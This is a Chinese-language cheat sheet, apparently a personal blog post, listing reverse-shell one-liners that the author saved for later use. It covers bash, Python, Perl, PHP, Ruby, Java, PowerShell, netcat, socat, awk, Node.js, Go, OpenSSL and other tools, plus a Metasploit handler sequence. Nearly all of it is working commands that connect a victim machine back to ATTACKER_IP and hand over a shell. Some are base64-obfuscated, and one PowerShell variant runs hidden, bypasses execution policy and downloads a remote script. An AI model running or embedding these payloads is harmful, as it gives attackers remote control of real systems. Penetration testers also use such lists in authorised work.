这里记录一下反弹shell的方法，方便以后的使用

参考https://mp.weixin.qq.com/s/hTGuZ7kdh7K4mToGdbogvA

基于bash/Terminal的反弹shell

  1. 经典的TCP反弹
1
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
  1. 使用文件描述符
1
exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done
  1. 使用管道
1
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | nc ATTACKER_IP PORT > /tmp/f
  1. UDP反弹
1
bash -i >& /dev/udp/ATTACKER_IP/PORT 0>&1
  1. 反弹到多个端口
1
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 & bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1
  1. bash反弹绕过
1
bash -c '/bin/bash -i >& /dev/tcp/10.10.10.130/1234 0>&1'

python反弹shell

  1. python2
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. python3
1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];import pty; pty.spawn("/bin/bash")'
  1. python使用pty模块
1
python -c 'import pty, socket; s=socket.socket(); s.connect(("ATTACKER_IP",PORT)); [os.dup2(s.fileno(),f) for f in (0,1,2)]; pty.spawn("/bin/sh")'
  1. python单行编码
1
python -c "exec(__import__('base64').b64decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIkFUVEFDS0VSX0lQIixQT1JUKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ=='))"

perl反弹shell

  1. 经典的perl反弹
1
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.perl简写版

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP反弹shell

  1. php fsockopen
1
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
  1. PHP socket_create
1
php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_connect($s,"ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

3.php反引号执行

1
php -r 'system("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\'");'

Ruby反弹shell

  1. Ruby TCPSocket
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ATTACKER_IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
  1. Ruby exec
1
ruby -rsocket -e 'c=TCPSocket.new("ATTACKER_IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

java反弹shell

  1. java Runtime.exec
1
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ATTACKER_IP/PORT;cat <&5 | while read line; do $line 2>&5 >&5; done"});
  1. java完整类
1
public class ReverseShell {    public static void main(String[] args) throws Exception {        String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"};        Runtime.getRuntime().exec(cmd);    }}

Powershell反弹shell

  1. PowerShell
1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  1. PowerShell base64编码
    powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AQQBUAFQAQQBDAEsARQBSAF8ASQBQADoAUABPAFIAVAAvAHIAZQB2AGUAcgBzAGUALgBwAHMAMQAnACkA

Netcat 反弹shell

  1. 传统版本
1
nc -e /bin/sh ATTACKER_IP PORT
  1. nc没有-e参数时
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
  1. nc的udp反弹
1
nc -u ATTACKER_IP PORT -e /bin/sh
  1. ncat(nmap版)
1
ncat ATTACKER_IP PORT -e /bin/bash
  1. nc反弹msf
1
2
3
4
5
6
7
8
9
10
11
12
msfconsole
use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.53.51 
set LPORT 1234 
run -j  

use multi/recon/local_exploit_suggester
set session 3
run

Socat反弹shell

  1. socat TCP
1
socat TCP:ATTACKER_IP:PORT EXEC:/bin/bash
  1. Socat UDP
1
socat UDP:ATTACKER_IP:PORT EXEC:/bin/bash
  1. Socat SSL加密
1
socat OPENSSL:ATTACKER_IP:PORT EXEC:/bin/bash
1
socat -v tcp-l:80,reuseaddr,fork exec:'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" bash -i >&/dev/tcp/VPS的ip/端口 0>&1'

vps返回

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/plain

bash -i >&/dev/tcp/VPS的ip/端口 0>&1

给到bash执行反弹成功。

Awk反弹shell

  1. Awk TCP连接
1
awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/PORT"; while(1) { do { printf "shell>" |& s; s |& getline c; if(c) { while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'

Telnet反弹shell

  1. telnet双端口
1
telnet ATTACKER_IP 4444 | /bin/sh | telnet ATTACKER_IP 4445

Lua反弹shell

  1. lua socket
1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER_IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Go反弹shell

  1. Go语言单行
1
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","ATTACKER_IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go

Node.js反弹shell

  1. Node.js子进程
1
require('child_process').exec('nc -e /bin/sh ATTACKER_IP PORT')
  1. Node.js socket版
1
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(PORT, "ATTACKER_IP", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();

Openssl加密反弹

  1. Openssl加密连接
1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER_IP:PORT > /tmp/s; rm /tmp/s
  1. Openssl证书认证
1
openssl s_client -connect ATTACKER_IP:PORT -quiet -cert client.pem -key client.key

Zsh反弹shell

  1. Zsh内置TCP
1
zsh -c 'zmodload zsh/net/tcp && ztcp ATTACKER_IP PORT && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Expect反弹shell

  1. Expect脚本
1
2
3
4
5
6
7
#!/usr/bin/expect
set host ATTACKER_IP
set port PORT
spawn /bin/bash
expect "$ "
send "bash -i >& /dev/tcp/$host/$port 0>&1\r"
interact

基于/dev/tcp的各种形态

  1. 使用exec重定向
1
0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; sh <&196 >&196 2>&196
  1. 使用readline
1
exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done
  1. 使用coproc(bash 4.0+)
1
coproc nc ATTACKER_IP PORT; cat <&"${COPROC[0]}" >&"${COPROC[1]}"